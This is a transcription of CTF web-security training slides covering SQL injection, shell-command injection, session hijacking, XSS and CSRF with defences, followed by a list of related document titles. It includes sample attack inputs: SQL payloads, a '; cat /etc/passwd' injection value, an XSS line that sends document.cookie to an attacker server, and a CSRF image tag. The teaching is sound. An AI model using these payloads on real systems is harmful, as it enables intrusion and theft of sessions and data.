CTF Web Security Training. Engin Kirda
|
|
|
- Shavonne Watson
- 8 years ago
- Views:
Transcription
1 CTF Web Security Training Engin Kirda
2 Web Security
3 Why It is Important Easiest way to compromise hosts, networks and users Widely deployed ( payload No Logs! (POST Request Difficult to defend against or to detect Firewall? What firewall? I don t see any firewall Encrypted transport layer does not help much
4 Web Application Example Objective: To write an application that accepts a username and password and prints (displays) them First, we write HTML code and use forms <html><body> <form action= /scripts/login.pl method= post > Username: <input type= text name= username > <br> Password: <input type= password name= password > <br> <input type= submit value= Login name= login > </form> </body></html>
5 Web Application Example Second, here is the corresponding Perl script that prints the username and password passed to it: #!/usr/local/bin/perl uses CGI; $query = new CGI; $username = $query->param( username ); $password = $query->param( password ); print <html><body> Username: $username <br> Password: $password <br> </body></html> ;
6 A Common Root for Many Problems Web applications use input from HTTP requests (and occasionally files) to determine how to respond Attackers can tamper with any part of an HTTP request, including the URL, query string, headers, cookies, form fields, and hidden fields, to try to bypass the site s security mechanisms Common input tampering attempts include XSS, SQL Injection, hidden field manipulation, buffer overflows, cookie poisoning, hidden field manipulation, remote file inclusion... Some sites attempt to protect themselves by filtering known malicious input Problem: there are many different ways of encoding information
7 Unvalidated Input A surprising number of web applications use only client-side mechanisms to validate input Client side validation mechanisms are easily bypassed, leaving the web application without any protection against malicious parameters How to determine if you are vulnerable? Any part of an HTTP request that is used by a web application without being carefully validated is known as a tainted parameter The simplest way: to have a detailed code review, searching for all the calls where information is extracted from an HTTP request
8 Unvalidated Input How to protect yourself? The best way to prevent parameter tampering is to ensure that all parameters are validated before they are used. A centralized component or library is likely to be the most effective, as the code performing the checking should be all in one place. Parameters should be validated against a positive specification that defines: Data type (string, integer, real, etc ); Allowed character set; Minimum and maximum length; Whether null is allowed; Whether the parameter is required or not; Whether duplicates are allowed; Numeric range; Specific legal values (enumeration); Specific patterns (regular expressions)
9 Injection Attacks: Overview Many webapp invoke interpreters SQL Shell command Sendmail LDAP... Interpreters execute the commands specified by the parameters or input data If the parameters are under control of the user and are not properly sanitized, the user can inject its own commands in the interpreter
10 Discovering clues in HTML code Developers are notorious for leaving statements like FIXME's, Code Broken, Hack, etc... inside the source code. Always review the source code for any comments denoting passwords, backdoors, or that something doesn't work right. Hidden fields (<input type= hidden >) are sometimes used to store temporary values in Web pages. These can be changed with ease (Hidden Field Tampering!)
11 SQL Injections SQL injection is a particularly widespread and dangerous form of injection attack that consists in injecting SQL commands into the database engine through an existing application
12 Relational Databases A relational database contains one or more tables Each table is identified by a name Each table has a certain number of named columns Tables contain records (rows) with data For example, the following table (called "users") contains data distributed in three rows userid Name LastName Login Password 1 John Smith jsmith hello 2 Adam Taylor adamt qwerty 3 Daniel Thompson dthompson dthompson
13 SQL SQL (Structured Query Language) is a language to access databases SQL can: Queries the content of a database Retrieve data from a database Insert/Delete/Update records in a database SQL is standard (ANSI and ISO) but most DBMS implement the language in a different way, providing their own proprietary extensions in addition to the standard
14 SQL To extract the last name of a user from the previous table: mysql> SELECT LastName FROM users WHERE UserID = 1; LastName Smith ( sec 1 row in set (0.00
15 SQL Injections To exploit a SQL injection flaw, the attacker must find a parameter that the web application uses to construct a database query By carefully embedding malicious SQL commands into the content of the parameter, the attacker can trick the web application into forwarding a malicious query to the database The consequences are particularly damaging, as an attacker can obtain, corrupt, or destroy database contents
16 SQL Injections It is not a DB or web server problem It is a flaw in the web application! Many programmers are still not aware of this problem Many of the tutorials and demo templates are vulnerable Even worse, many of solutions posted on the Internet are not good enough
17 Simple SQL Injection Example Perl script that looks up username and password: $query = new CGI; $username = $query->param( username ); $password = $query->param( password ); $sql_command = select * from users where username= $username and password= $password ; $sth = $dbh->prepare($sql_command) No Validation!
18 Simple SQL Injection Example If the user enters a (single quote) as the password, the SQL statement in the script would become: select * from users where username= and password = An SQL error message would be generated If the user enters (injects): or username= john as the password, the SQL statement in the script would become: select * from users where username= and password = or username= john Hence, a different SQL statement has been injected than what was originally intended by the programmer!
19 Obtaining Information using Errors Errors returned from the application might help the attacker (e.g., ASP default behavior) Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Make sure that you do not display unnecessary debugging and error messages to users. For debugging, it is always better to use log files (e.g., error log). Not good!
20 Some SQL Attack Examples select * ; insert into user values( user, h4x0r ); Attacker inserts a new user into the database The attacker could use stored procedures (e.g., in SQL Server) xp_cmdshell() bulk insert statement to read any file on the server data to the attacker s mail account Play around with the registry settings select * ; drop table SensitiveData; Appending ; character does not work for all databases. Might depend on the driver (e.g., MySQL)
21 Advanced SQL Injection Web applications will often escape the and characters (e.g., PHP). This will prevent most SQL injection attacks but there might still be vulnerabilities In large applications, some database fields are not strings but numbers. Hence, or characters not necessary (e.g., where id=1) Attacker might still inject strings into a database by using the char function (e.g., SQL Server): insert into users values(666,char(0x63)+char(0x65) )
22 ( xkcd ) Exploit of a Mom
23 SQL Injection Solutions Developers must never allow client-supplied data to modify SQL statements Best protection is to isolate application from SQL ;-) All SQL statements required by application should be stored procedures on the database server The SQL statements should be executed using safe interfaces such as JDBC CallableStatement or ADO s Command Object Both prepared statements and stored procedures compile SQL statements before user input is added
24 SQL Injection Solutions Let us use pressrelease.jsp as an example. Here our code: String query = SELECT title, description from pressreleases WHERE id= + request.getparameter( id ); Statement stat = dbconnection.createstatement(); ResultSet rs = stat.executequery(query); The first step to secure the code is to take the SQL statements out of the web application and into DB CREATE PROCEDURE integer AS SELECT title, description FROM pressreleases WHERE Id
25 SQL Injection Solutions Now, in the application, instead of string-building SQL, call stored procedure: CallableStatements cs = dbconnection.preparecall( {call getpressrelease(?)} ); cs.setint(1,integer.parseint(request.getparameter( id ))); ResultSet rs = cs.executequery(); In ASP.NET, there is a similar mechanism
26 Simple Parameter Injection Example Perl script that lists (embeds in HTML) the directory contents by calling the shell ls command: $query = new CGI; $directory = $query->param( directory ); #Call the ls command in the shell using back ticks $directory_contents = `ls $directory`; print <html><body> $directory_contents Unvalidated input! </body></html> ;
27 Simple Parameter Injection Example If the user enters a ; cat /etc/passwd as the directory, she can gain access to the contents of the passwd file as well! The shell command in the script becomes ls ; cat /etc/ passwd How can such a simple attack be prevented? Do not use shell commands directly in Web scripts Filter out characters such as ; * > < etc. that have a special meaning for the shell Can you think of other special characters?
28 Demo Alright, so let us do an interactive session to demonstrate how serious the problem can be Scenario: There is a vulnerable application I need you to work with me! Objective of attacker: Gain remote access to server
29 URL Encoding Values in URLs can be URL-encoded must be decoded properly Hex encoding (RFC compliant) %XX, where XX is hexadecimal ASCII value of character A = %41 Double hex encoding (Microsoft IIS) %25XX, where XX is hexadecimal ASCII value of character (%25 = %) A = %25XX Double nibble hex encoding (Microsoft IIS) each hexadecimal nibble is separately encoded A = %25%34%31
30 Session Attacks targeted at stealing the session ID Interception: intercept request or response and extract session ID Prediction: predict (or make a few good guesses about) the session ID Brute Force: make many guesses about the session ID Fixation: make the victim use a certain session ID the first three attacks can be grouped into Session Hijacking attacks
31 Session Attacks preventing Interception: use SSL for each request/response that transports a session ID not only for login! Prediction: possible if session ID is not a random number...
32 Prediction Example Suppose you are ordering something online. You are registered as user john. In the URL, you notice: What is s? It is probably the session ID In this case, it is possible to deduce how the session ID is made up... Session ID is made up of user name and (probably) the user s birthday Hence, by knowing a user ID and a birthday (e.g., a friend of yours), you could hijack someone s session ID and order something
33 Cross-site scripting (XSS) Simple attack, but difficult to prevent and can cause much damage An attacker can use cross site scripting to send malicious script to an unsuspecting victim The end user s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even completely rewrite the content of an HTML page!
34 Cross-site scripting (XSS) XSS attacks can generally be categorized into two classes: stored and reflected Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request.
35 XSS Delivery Mechanisms Stored attacks require the victim to browse a Web site Reading an entry in a forum is enough Examples of stored XSS attacks: Yahoo (last year), e-bay (this year) Reflected attacks are delivered to victims via another route, such as in an message, or on some other web server When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user s browser. Example: Squirrelmail
36 Cross-site scripting (XSS) The likelihood that a site contains potential XSS vulnerabilities is very high There are a wide variety of ways to trick web applications into relaying malicious scripts Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings How to protect yourself? Ensure that your application performs validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. OWASP Filters project
37 Simple XSS Example Suppose a Web application (text.pl) accepts a parameter msg and displays its contents in a form: $query = new CGI; $directory = $query->param( msg ); print <html><body> <form action= displaytext.pl method= get > $msg <br> <input type= text name= txt > <input type= submit value= OK > </form></body></html> ; Unvalidated input!
38 Simple XSS Example If the script text.pl is invoked, as text.pl?msg=helloworld This is displayed in the browser: $msg HelloWorld OK Text Field
39 Simple XSS Example There is an XSS vulnerability in the code. The input is not being validated so JavaScript code can be injected into the page! If we enter the URL text.pl?msg=<script>alert( I 0wn you )</ script> We can do anything we want. E.g., we display a message to the user worse: we can steal sensitive information. Using document.cookie identifier in JavaScript, we can steal cookies and send them to our server We can this URL to thousands of users and try to trick them into following this link (a reflected XSS attack)
40 Some XSS Attacker Tricks How does attacker send information to herself? e.g., change the source of an image: document.images[0].src= + document.cookie; Quotes are filtered: Attacker uses the unicode equivalents \u0022 and \u0027 Form redirecting to redirect the target of a form to steal the form values (e.g., passwd) Line break trick: <IMG SRC="javasc ript:alert('test');"> <-- line break trick \10 \13 as delimiters.
41 Some XSS Attacker Tricks If and characters are filtered (e.g., as in PHP): regexp = /This is boring/; alert(regexp.source); Attackers are creative (application-level firewalls have a difficult job). Check this out (no / allowed): var n= new RegExp( http: myserver myfolder evilscript.js ); forslash=location.href.charat(6); space=n.source.charat(5); alert(n.source.split(space).join(forslash)); document.scripts[0].src = n.source.split(space).join(forslash)
42 Some XSS Attacker Tricks How much script can you inject? This is the web so the attacker can use URLs. That is, attacker could just provide a URL and download a script that is included (no limit!) img src=' address/clear.gif' onload='document.scripts(0).src ="
43 A Real-Life XSS Example ebay.de Press %68%74%74%70%3A%2F%2F %70%72%65%73%73%65%2E%65%62%61%79%2E %64%65%2F%26%71%75%6F%74%3B%3E...
44 Let s look at an XSS demo
45 Cross-Site Request Forgeries CSRF: A style of attack that lets attacker send arbitrary HTTP requests on behalf of a victim user The damage caused by this attack can be severe The attack is not too easy to understand and avoid, and it is likely that many web applications are vulnerable Typical scenario: User has established level of privilege with the site Attacker uses this privilege to do bad things
46 Where is the Trust? The site is the target of the attack. User is the victim and unknowing accomplice The request comes from the victim, hence, it is difficult to identify a CSRF attack In fact, if you have not taken precautions, chances are very high that your application is vulnerable to CSRF Many applications concentrate on issues such as authentication, identification, and authorization CSRF is may be unknown by developers So there is always bread in the business for security companies
47 CSRF Example Suppose there exists a simple PHP Web application that can be used for creating new users (after authentication). Here is the form: <form action= create.php method= POST > <p> Username: <input type= text name= username > Password: <input type= text name= password > <input type= submit value= Create /> </p> </form>
48 CSRF Example here is the simple PHP application that the form contacts hosted at <?php session_start(); If (isset($_request[ username ] && isset($_request[ password ])) { create_new_user_dude($_request[ username ], $_REQUEST[ password ]); }?>
49 CSRF Example What is the problem with this application? Suppose an attacker manages to trick the authenticated user to visit a web page of which she has control Note that visiting is enough!! The owned web page has an embedded link such as: <img src= create.php?username=badguy&password=nopasswd>
50 CSRF Example Once the user visits the page, the URL is fetched and a new user is created. Hence, the web application is compromised Why did this error happen? The application used $_REQUEST instead of $_POST It could not distinguish between data sent in the URL and data provided in the form $_REQUEST and allowing GET increases your risk Summary of CSRF: Allows attacker to invoke actions on behalf of a user
51 Defending against CSRF There are a few steps you can take to mitigate the risk of CSRF attacks Use POST rather than GET One of the most important things you could do is to force the usage of your own forms. Try to identify if the request is coming from your own form For example, you could generate a token as part of the form and validate this token upon reception e.g., using unique IDs, MD5 hashes, etc. You could limit the validity of the token time (e.g., 3 minutes)
52 That s it We looked at some common web security issues Good luck and above all: Have fun at the CTF!
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
SQL Injection. The ability to inject SQL commands into the database engine through an existing application
SQL Injection The ability to inject SQL commands into the database engine through an existing application 1 What is SQL? SQL stands for Structured Query Language Allows us to access a database ANSI and
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
What is Web Security? Motivation
brucker@inf.ethz.ch http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH zgrace@403labs.com January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management
What is an? s Ten Most Critical Web Application Security Vulnerabilities Anthony LAI, CISSP, CISA Chapter Leader (Hong Kong) anthonylai@owasp.org Open Web Application Security Project http://www.owasp.org
Testing Web Applications for SQL Injection Sam Shober SamShober@Hotmail.com
Testing Web Applications for SQL Injection Sam Shober SamShober@Hotmail.com Abstract: This paper discusses the SQL injection vulnerability, its impact on web applications, methods for pre-deployment and
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions jburroughs@uk.ibm.com Agenda Current State of Web Application Security Understanding
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
Last update: February 23, 2004
Last update: February 23, 2004 Web Security Glossary The Web Security Glossary is an alphabetical index of terms and terminology relating to web application security. The purpose of the Glossary is to
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers
Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers The Website can be developed under Windows or Linux Platform. Windows Development should be use: ASP, ASP.NET 1.1/ 2.0, and
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
Magento Security and Vulnerabilities. Roman Stepanov
Magento Security and Vulnerabilities Roman Stepanov http://ice.eltrino.com/ Table of contents Introduction Open Web Application Security Project OWASP TOP 10 List Common issues in Magento A1 Injection
Web Applications Security: SQL Injection Attack
Web Applications Security: SQL Injection Attack S. C. Kothari CPRE 556: Lecture 8, February 2, 2006 Electrical and Computer Engineering Dept. Iowa State University SQL Injection: What is it A technique
Top 10 Web Application Security Vulnerabilities - with focus on PHP
Top 10 Web Application Security Vulnerabilities - with focus on PHP Louise Berthilson Alberto Escudero Pascual 1 Resources The Top 10 Project by OWASP www.owasp.org/index.php/owasp_top_ten_project
Hack Proof Your Webapps
Hack Proof Your Webapps About ERM About the speaker Web Application Security Expert Enterprise Risk Management, Inc. Background Web Development and System Administration Florida International University
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
FINAL DoIT 11.03.2015 - v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES
Purpose: The Department of Information Technology (DoIT) is committed to developing secure applications. DoIT s System Development Methodology (SDM) and Application Development requirements ensure that
Secure Web Development Teaching Modules 1. Threat Assessment
Secure Web Development Teaching Modules 1 Threat Assessment Contents 1 Concepts... 1 1.1 Software Assurance Maturity Model... 1 1.2 Security practices for construction... 3 1.3 Web application security
Thick Client Application Security
Thick Client Application Security Arindam Mandal (arindam.mandal@paladion.net) (http://www.paladion.net) January 2005 This paper discusses the critical vulnerabilities and corresponding risks in a two
Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh
Web applications Web security: web basics Myrto Arapinis School of Informatics University of Edinburgh HTTP March 19, 2015 Client Server Database (HTML, JavaScript) (PHP) (SQL) 1 / 24 2 / 24 URLs HTTP
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY www.alliancetechpartners.com WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY More than 70% of all websites have vulnerabilities
Essential IT Security Testing
Essential IT Security Testing Application Security Testing for System Testers By Andrew Muller Director of Ionize Who is this guy? IT Security consultant to the stars Member of OWASP Member of IT-012-04
External Network & Web Application Assessment. For The XXX Group LLC October 2012
External Network & Web Application Assessment For The XXX Group LLC October 2012 This report is solely for the use of client personal. No part of it may be circulated, quoted, or reproduced for distribution
Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia
Top Ten Web Application Vulnerabilities in J2EE Vincent Partington and Eelco Klaver Xebia Introduction Open Web Application Security Project is an open project aimed at identifying and preventing causes
Cross Site Scripting in Joomla Acajoom Component
Whitepaper Cross Site Scripting in Joomla Acajoom Component Vandan Joshi December 2011 TABLE OF CONTENTS Abstract... 3 Introduction... 3 A Likely Scenario... 5 The Exploit... 9 The Impact... 12 Recommended
Secure Web Application Coding Team February 23, 2006 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team February 23, 2006 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. John Ockerbloom to run meeting thank you! 2. Susan Kennedy to take minutes 3. Team Website
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair dave.wichers@owasp.org COO, Aspect Security dave.wichers@aspectsecurity.com Copyright 2007 - The Foundation This work is available
Web Application Attacks And WAF Evasion
Web Application Attacks And WAF Evasion Ahmed ALaa (EG-CERT) 19 March 2013 What Are We Going To Talk About? - introduction to web attacks - OWASP organization - OWASP frameworks - Crawling & info. gathering
Lecture 11 Web Application Security (part 1)
Lecture 11 Web Application Security (part 1) Computer and Network Security 4th of January 2016 Computer Science and Engineering Department CSE Dep, ACS, UPB Lecture 11, Web Application Security (part 1)
Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft
Finding and Preventing Cross- Site Request Forgery Tom Gallagher Security Test Lead, Microsoft Agenda Quick reminder of how HTML forms work How cross-site request forgery (CSRF) attack works Obstacles
SQL Injection January 23, 2013
Web-based Attack: SQL Injection SQL Injection January 23, 2013 Authored By: Stephanie Reetz, SOC Analyst Contents Introduction Introduction...1 Web applications are everywhere on the Internet. Almost Overview...2
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
Implementation of Web Application Firewall
Implementation of Web Application Firewall OuTian 1 Introduction Abstract Web 層 應 用 程 式 之 攻 擊 日 趨 嚴 重, 而 國 內 多 數 企 業 仍 不 知 該 如 何 以 資 安 設 備 阻 擋, 仍 在 採 購 傳 統 的 Firewall/IPS,
Web Application Security
Web Application Security Prof. Sukumar Nandi Indian Institute of Technology Guwahati Agenda Web Application basics Web Network Security Web Host Security Web Application Security Best Practices Questions?
Web Application Vulnerability Testing with Nessus
The OWASP Foundation http://www.owasp.org Web Application Vulnerability Testing with Nessus Rïk A. Jones, CISSP rikjones@computer.org Rïk A. Jones Web developer since 1995 (16+ years) Involved with information
Hacking de aplicaciones Web
HACKING SCHOOL Hacking de aplicaciones Web Gabriel Maciá Fernández Fundamentos de la web CLIENTE SERVIDOR BROWSER HTTP WEB SERVER DATOS PRIVADOS BASE DE DATOS 1 Interacción con servidores web URLs http://gmacia:pass@www.ugr.es:80/descarga.php?file=prueba.txt
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
Simon Fraser University. Web Security. Dr. Abhijit Sen CMPT 470
Web Security Dr. Abhijit Sen 95% of web apps have Vulnerabilities Cross-site scripting (80 per cent) SQL injection (62 per cent) Parameter tampering (60 per cent) http://www.vnunet.com/vnunet/news/2124247/web-applicationswide-open-hackers
Exploits: XSS, SQLI, Buffer Overflow
Exploits: XSS, SQLI, Buffer Overflow These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
Nuclear Regulatory Commission Computer Security Office Computer Security Standard
Nuclear Regulatory Commission Computer Security Office Computer Security Standard Office Instruction: Office Instruction Title: CSO-STD-1108 Web Application Standard Revision Number: 1.0 Effective Date:
Cyber Security Challenge Australia 2014
Cyber Security Challenge Australia 2014 www.cyberchallenge.com.au CySCA2014 Web Penetration Testing Writeup Background: Pentest the web server that is hosted in the environment at www.fortcerts.cysca Web
SECURING APACHE : THE BASICS - III
SECURING APACHE : THE BASICS - III Securing your applications learn how break-ins occur Shown in Figure 2 is a typical client-server Web architecture, which also indicates various attack vectors, or ways
Web Security Testing Cookbook*
Web Security Testing Cookbook* Systematic Techniques to Find Problems Fast Paco Hope and Ben Walther O'REILLY' Beijing Cambridge Farnham Koln Sebastopol Tokyo Table of Contents Foreword Preface xiii xv
Network Security Exercise #8
Computer and Communication Systems Lehrstuhl für Technische Informatik Network Security Exercise #8 Falko Dressler and Christoph Sommer Computer and Communication Systems Institute of Computer Science,
elearning for Secure Application Development
elearning for Secure Application Development Curriculum Application Security Awareness Series 1-2 Secure Software Development Series 2-8 Secure Architectures and Threat Modeling Series 9 Application Security
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
Web Application Security Considerations
Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute
OWASP TOP 10 ILIA ALSHANETSKY @ILIAA HTTPS://JOIND.IN/15741
OWASP TOP 10 ILIA ALSHANETSKY @ILIAA HTTPS://JOIND.IN/15741 ME, MYSELF & I PHP Core Developer Author of Guide to PHP Security Security Aficionado THE CONUNDRUM USABILITY SECURITY YOU CAN HAVE ONE ;-) OPEN
Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3
Table of Contents Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3 Information Gathering... 3 Vulnerability Testing... 7 OWASP TOP 10 Vulnerabilities:... 8 Injection
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION V 2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: Learn the various attacks like sql injections, cross site scripting, command execution
ASL IT Security Advanced Web Exploitation Kung Fu V2.0
ASL IT Security Advanced Web Exploitation Kung Fu V2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: There is a lot more in modern day web exploitation than the good old alert( xss ) and union
Web App Security Audit Services
locuz.com Professional Services Web App Security Audit Services The unsecured world today Today, over 80% of attacks against a company s network come at the Application Layer not the Network or System
An Introduction to Application Security in J2EE Environments
An Introduction to Application Security in J2EE Environments Dan Cornell Denim Group, Ltd. www.denimgroup.com Overview Background What is Application Security and Why is It Important? Specific Reference
Øredev 2006. Web application testing using a proxy. Lucas Nelson, Symantec Inc.
Øredev 2006 Web application testing using a proxy Lucas Nelson, Symantec Inc. Agenda What is a proxy? Setting up your environment Pre-login tests Post-login tests Conclusion A man in the middle proxy The
Common Security Vulnerabilities in Online Payment Systems
Common Security Vulnerabilities in Online Payment Systems Author- Hitesh Malviya(Information Security analyst) Qualifications: C!EH, EC!SA, MCITP, CCNA, MCP Current Position: CEO at HCF Infosec Limited
Advanced Web Security, Lab
Advanced Web Security, Lab Web Server Security: Attacking and Defending November 13, 2013 Read this earlier than one day before the lab! Note that you will not have any internet access during the lab,
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability WWW Based upon HTTP and HTML Runs in TCP s application layer Runs on top of the Internet Used to exchange
HTTPParameter Pollution. ChrysostomosDaniel
HTTPParameter Pollution ChrysostomosDaniel Introduction Nowadays, many components from web applications are commonly run on the user s computer (such as Javascript), and not just on the application s provider
ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus
ASP.NET MVC Secure Coding 4-Day hands on Course Course Syllabus Course description ASP.NET MVC Secure Coding 4-Day hands on Course Secure programming is the best defense against hackers. This multilayered
SQL Injection for newbie
SQL Injection for newbie SQL injection is a security vulnerability that occurs in a database layer of an application. It is technique to inject SQL query/command as an input via web pages. Sometimes we
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
OWASP Top Ten Tools and Tactics
